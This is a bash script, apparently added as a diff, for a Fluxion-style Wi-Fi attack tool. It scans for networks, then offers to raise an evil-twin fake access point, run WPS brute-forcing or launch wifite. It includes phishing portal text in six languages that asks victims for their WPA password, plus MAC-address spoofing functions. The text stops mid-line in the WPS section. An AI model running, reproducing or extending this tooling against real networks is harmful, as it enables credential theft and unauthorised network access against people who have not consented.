+DEAUTHTIME="30" +revision=5 +version=0.18 +IP=192.168.1.1 +RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) + +#Colores +white="\033[1;37m" +grey="\033[0;37m" +red2="\033[0;35m" +red="\033[1;31m" +green="\033[1;32m" +yellow="\033[1;33m" +blue="\033[1;34m" +transparent="\e[0m" +############################################################################################## + +# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] +if [ $FLUX_DEBUG = 1 ]; then + ## Developer Mode + export flux_output_device=/dev/stdout + HOLD="-hold" +else + ## Normal Mode + export flux_output_device=/dev/null + HOLD="" +fi + +# Delete Log only in Normal Mode ! +function conditional_clear() { + + if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi +} + +function airmon { + sudo chmod +x airmon +} +airmon +# Check Updates +function checkupdatess { + + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + if [ -z "$revision_online" ]; then + echo "?">$DUMP_PATH/Irev + else + echo "$revision_online">$DUMP_PATH/Irev + fi + +} + +# Animation +function spinner { + + local pid=$1 + local delay=0.15 + local spinstr='|/-\' + while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do + local temp=${spinstr#?} + printf " [%c] " "$spinstr" + local spinstr=$temp${spinstr%"$temp"} + sleep $delay + printf "\b\b\b\b\b\b" + done + printf " \b\b\b\b" +} + +# ERROR Report only in Developer Mode +# FLUXION = Developer Mode +# Fluxass = Normal Mode +if [ "$FLUX_DEBUG" = "1" ]; then + trap 'err_report $FLUXION' ERR +fi + +# ERROR Report Normale Mode +function err_report { + echo "Error en la fluxass $1" +} + + +#If the script exits unexpectedly +trap exitmode SIGINT SIGHUP + +# KILL ALL +function exitmode { + + echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" + + if ps -A | grep -q aireplay-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" + killall aireplay-ng &>$flux_output_device + fi + + if ps -A | grep -q airodump-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" + ./airmon stop $WIFI_MONITOR &> $flux_output_device + fi + + + if [ "$WIFI" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" + ./airmon stop $WIFI &> $flux_output_device + fi + + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" + echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding + fi + + echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" + tput cnorm + + if [ $FLUX_DEBUG != 1 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" + service restart network-manager &> $flux_output_device & + + echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" + exit + +} + +# Genera listado de Interfaces en el Script +readarray -t webinterfaces < <(echo -e "Web Interface +\e[1;31mExit"$transparent"" +) + +# Genera listado de Idiomas web +readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] +Spanish[ESP] GERMAN [GER] +\e[1;31mBack"$transparent"" +) + +#Language for Web Interface +#GER +DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" +DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" +DIALOG_WEB_SUBMIT_GER="Bestätigen" +DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" +DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" +DIALOG_WEB_BACK_GER="Back" +DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" +DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" + +#EN +DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" +DIALOG_WEB_INPUT_ENG="Enter your WPA password:" +DIALOG_WEB_SUBMIT_ENG="Submit" +DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" +DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." +DIALOG_WEB_BACK_ENG="Back" +DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" +DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" + +#ESP +DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" +DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" +DIALOG_WEB_SUBMIT_ESP="Enviar" +DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" +DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." +DIALOG_WEB_BACK_ESP="Atrás" +DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" +DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" + +#IT +DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" +DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT_IT="Invia" +DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" +DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK_IT="Indietro" +DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" +DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" + +#FR +DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" +DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" +DIALOG_WEB_SUBMIT_FR="Valider" +DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" +DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." +DIALOG_WEB_BACK_FR="Précédent" +DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" +DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" + +#POR +DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT_POR="Digite sua senha WPA" +DIALOG_WEB_SUBMIT_POR="Enviar" +DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" +DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." +DIALOG_WEB_BACK_POR="Voltar" +DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" +DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" + +# Design +function mostrarheader(){ + + conditional_clear + echo -e "$blue#########################################################" + echo -e "$blue# #" + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} + echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" + echo -e "$blue# #" + echo -e "$blue#########################################################""$transparent" + echo + echo +} +##################################### < CONFIGURACION > ##################################### + + + + + + +############################################## < START > ############################################## + + +if ! [ $(id -u) = "0" ] 2>/dev/null; then + echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" + exit +fi + +# Check requirements +function checkdependences { + + echo -ne "Aircrack-ng....." + if ! hash aircrack-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Aireplay-ng....." + if ! hash aireplay-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airmon-ng......." + if ! hash airmon-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airodump-ng....." + if ! hash airodump-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Awk............." + if ! hash awk 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Curl............" + if ! hash curl 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Dhcpd..........." + if ! hash dhcpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Hostapd........." + if ! hash hostapd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Iwconfig........" + if ! hash iwconfig 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Lighttpd........" + if ! hash lighttpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Macchanger......" + if ! hash macchanger 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Mdk3............" + if ! hash mdk3 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Nmap............" + if ! [ -f /usr/bin/nmap ]; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Php5-cgi........" + if ! [ -f /usr/bin/php-cgi ]; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Pyrit..........." + if ! hash pyrit 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Python.........." + if ! hash python 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Unzip..........." + if ! hash unzip 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Reaver ...." + if ! hash reaver 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Xterm..........." + if ! hash xterm 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + if [ "$exit" = "1" ]; then + exit 1 + fi + + sleep 1 + clear +} +mostrarheader +checkdependences + +# Create Workbook +if [ ! -d $DUMP_PATH ]; then + mkdir $DUMP_PATH &>$flux_output_device +fi + + +if [ $FLUX_DEBUG != 1 ]; then + + echo "" + sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" + sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" + echo "" + + sleep 1 + echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + sleep 1 + echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent + sleep 1 + echo -n " Latest rev." + tput civis + checkupdatess & + spinner "$!" + revision_online=$(cat $DUMP_PATH/Irev) + echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" +# if [ "$revision_online" != "?" ]; then +# +# if [ "$revision" != "$revision_online" ]; then +# +# cp $0 $HOME/flux_rev-$revision.backup +# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 +# echo +# echo +# echo -e ""$red" +#Updated successfully! Restarting the script to apply the changes ..."$transparent"" +# sleep 5 +# chmod +x $0 +# exec $0 +# +# fi +# fi + echo "" + tput cnorm + sleep 2 + +fi + +# Show info for the selected AP +function infoap { + + Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` + Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` + echo "INFO WIFI" + echo + echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" + echo -e " "$blue"Channel"$transparent" = $channel" + echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" + echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" + echo +} + +############################################## < START > ############################################## + + + + + + +############################################### < MENU > ############################################### + +# Windows + Resolution +function setresolution { + + function resA { + + TOPLEFT="-geometry 90x13+0+0" + TOPRIGHT="-geometry 83x26-0+0" + BOTTOMLEFT="-geometry 90x24+0-0" + BOTTOMRIGHT="-geometry 75x12-0-0" + TOPLEFTBIG="-geometry 91x42+0+0" + TOPRIGHTBIG="-geometry 83x26-0+0" + } + + function resB { + + TOPLEFT="-geometry 92x14+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 92x36+0-0" + BOTTOMRIGHT="-geometry 74x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 74x30-0+0" + } + function resC { + + TOPLEFT="-geometry 100x20+0+0" + TOPRIGHT="-geometry 109x20-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 109x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 109x30-0+0" + } + function resD { + TOPLEFT="-geometry 110x35+0+0" + TOPRIGHT="-geometry 99x40-0+0" + BOTTOMLEFT="-geometry 110x35+0-0" + BOTTOMRIGHT="-geometry 99x30-0-0" + TOPLEFTBIG="-geometry 110x72+0+0" + TOPRIGHTBIG="-geometry 99x40-0+0" + } + function resE { + TOPLEFT="-geometry 130x43+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 130x40+0-0" + BOTTOMRIGHT="-geometry 132x35-0-0" + TOPLEFTBIG="-geometry 130x85+0+0" + TOPRIGHTBIG="-geometry 132x48-0+0" + } + function resF { + TOPLEFT="-geometry 100x17+0+0" + TOPRIGHT="-geometry 90x27-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 90x20-0-0" + TOPLEFTBIG="-geometry 100x70+0+0" + TOPRIGHTBIG="-geometry 90x27-0+0" +} + +detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) +## A) 1024x600 +## B) 1024x768 +## C) 1280x768 +## D) 1280x1024 +## E) 1600x1200 +case $detectedresolution in + "1024x600" ) resA ;; + "1024x768" ) resB ;; + "1280x768" ) resC ;; + "1366x768" ) resC ;; + "1280x1024" ) resD ;; + "1600x1200" ) resE ;; + "1366x768" ) resF ;; + * ) resA ;; +esac +} + +# Choose Interface +function setinterface { + + # Collect all interfaces in montitor mode & stop all + KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` + + for monkill in ${KILLMONITOR[@]}; do + ./airmon stop $monkill >$flux_output_device + echo -n "$monkill, " + done + + # Create a variable with the list of physical network interfaces + readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`./airmon| grep -c "-"` + + echo + echo + echo Autodetect Resolution ... + echo $detectedresolution + echo + + + + if [ "$INTERFACESNUMBER" -gt "0" ]; then + + echo "Select an interface" + echo + i=0 + + for line in "${wirelessifaces[@]}"; do + i=$(($i+1)) + wirelessifaces[$i]=$line + echo -e "$blue ""$i)"$transparent" $line" + done + + echo -n "#? " + read line + PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') + + if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then + conditional_clear + mostrarheader + setinterface + fi + + readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') + rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 + + for molesto in "${softwaremolesto[@]}"; do + killall "$molesto" &>$flux_output_device + done + sleep 0.5 + + modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 + sleep 0.5 + # Select Wifi Interface + select PREWIFI in $INTERFACES; do + break; + done + + WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFI_MONITOR=$WIFIMONITOR + WIFI=$PREWIFI + + #No wireless cards + else + + echo There are no wireless cards, quit... + sleep 5 + exitmode + fi + + deltax + +} + +# Check files +function deltax { + + conditional_clear + CSVDB=dump-01.csv + + rm -rf $DUMP_PATH/* + + choosescan + selection +} + +# Select channel +function choosescan { + + conditional_clear + + while true; do + conditional_clear + mostrarheader + + echo "Select channel" + echo " " + echo -e " "$blue"1)"$transparent" All channels " + echo -e " "$blue"2)"$transparent" Specific channel(s) " + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) Scan ; break ;; + 2 ) Scanchan ; break ;; + * ) echo "Unknown option. Please choose again"; conditional_clear ;; + esac + done +} + +# Choose your channel if you choose option 2 before +function Scanchan { + + conditional_clear + mostrarheader + + echo " " + echo " Select Channel " + echo " " + echo -e " Single channel "$blue"6"$transparent" " + echo -e " Multiple channels "$blue"1-5"$transparent" " + echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " + echo " " + echo -n " #> " + read channel_number + set -- ${channel_number} + conditional_clear + + rm -rf $DUMP_PATH/dump* + xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR +} + +# Scans the entire network +function Scan { + + conditional_clear + xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR +} + +# Choose a network +function selection { + + conditional_clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + + conditional_clear + + askAP +} + +# FakeAP +function askAP { + + DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` + + if [ $DIGITOS_WIFIS_CSV -le 15 ]; then + selection && break + fi + + if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then + fakeapmode="airbase-ng" + askauth + fi + + mostrarheader + while true; do + + infoap + + echo " ##### Select Attack Option #####" + echo " " + echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" + echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" + echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" + echo -e " "$blue"5)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; + 2 ) fakeapmode="airbase-ng"; askauth; break ;; + 3 ) fakeapdmode="WPS"; wps; break ;; + 4 ) wifite ;wifite; break ;; + 5 ) selection; break ;; + * ) echo "Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +#wifite +function wifite { + sudo python wifite.py +} +# Test Passwords / airbase-ng +function askauth { + + conditional_clear + mostrarheader + while true; do + + echo "METHOD TO VERIFICATION THE PASSWORD" + echo " " + echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" + echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) authmode="handshake"; handshakelocation; break ;; + 2 ) authmode="wpa_supplicant"; webinterface; break ;; + 3 ) askAP; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} +function wps { + +clear +echo " +██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ +██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ +██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ +██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ +╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ +╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ + +" + +echo "WPS-SLAUGHTER BY: Apathetic Euphoria" +echo "+ Help and Support from Aanarchyy" + +sleep 3 +clear + +#!/bin/bash +clear +declare BSSID; +declare ESSID; +declare CHANNEL; +declare WIFI_MONITOR; +declare WIFI_MONITOR2; +declare WIFI_MONITOR3; +declare WIFI_MONITOR4; +declare WIFI_MONITOR5; +sleep 3 +clear + +sudo rfkill unblock all + +#####Functions for Monitor Mode#### + +enable_mon_mode_1() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 1 +sudo iwconfig $WIFI_MONITOR mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_2() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 1 +sudo iwconfig $WIFI_MONITOR2 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR2 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_3() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 1 +sudo iwconfig $WIFI_MONITOR3 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR3 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_4() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 downa +sleep 1 +sudo iwconfig $WIFI_MONITOR4 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR4 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_5() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 1 +sudo iwconfig $WIFI_MONITOR5 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR5 up +echo "Monitor Mode Enabled" +} + +####End of Functions for Monitor Mode#### + +#### Functions for MAC CHANGER #### + +mac_change_1() +{ +echo "Setting the MAC Address on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 3 +macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR up +echo "MAC Changed" +} + +mac_change_2() +{ +echo "Setting the MAC Address on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 3 +macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR2 up +echo "MAC Changed" +} + +mac_change_3() +{ +echo "Setting the MAC Address on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 3 +macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR3 up +echo "MAC Changed" +} + +mac_change_4() +{ +echo "Setting the MAC Address on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 3 +macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR4 up +echo "MAC Changed" +} + +mac_change_5() +{ +echo "Setting the MAC Address on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 3 +macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR5 up +echo "MAC Changed" +} + +####End of Functions for MAC CHANGER #### + + +####Target Scanner#### + +scan_for_targets() +{ + +sudo ifconfig $WIFI_MONITOR down +sudo iwconfig $WIFI_MONITOR mode managed +sudo ifconfig $WIFI_MONITOR up + +eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: 